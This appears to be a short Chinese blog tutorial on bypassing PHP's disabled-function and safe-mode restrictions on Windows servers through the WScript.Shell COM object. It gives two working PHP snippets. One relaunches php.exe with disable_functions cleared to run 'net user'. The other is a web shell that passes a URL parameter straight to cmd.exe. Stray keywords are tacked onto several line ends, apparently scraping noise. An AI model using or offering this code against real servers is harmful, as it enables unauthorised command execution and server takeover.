不少時候有些windows的服務器是支持wsh組建的,可是卻執行不了命令,asp下執行被拒絕,php下執行報錯,此時你能夠借鑑如下的方法嘗試。php
php利用wsh突破函數禁用執行命令(安全模式同理)
條件說明:apache
須要服務器是windows並支持wsh組建.且知道php安裝目錄
php在IIS環境下利用wsh執行命令是沒有asp的權限高的。若是在apache環境下,apache默認都是system或administrator權限。windows
測試是否能夠執行命令的時候,若是回顯空白,能夠多嘗試一些命令,好比set,whoami,等等,由於有時候有些命令被禁用的,好比net類或者ipconfig命令就常常被禁用。安全
突破代碼以下:服務器
<?php $cmd='net user'; $path = 'C:\\PHP\\php.exe'; $cmd='-r "system(\''.$cmd.'\');" -d disable_functions = '; //從新定義disable_functions函數 $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec($path.' '.$cmd); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo "${stroutput}\n"; ?>
或者:函數
<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>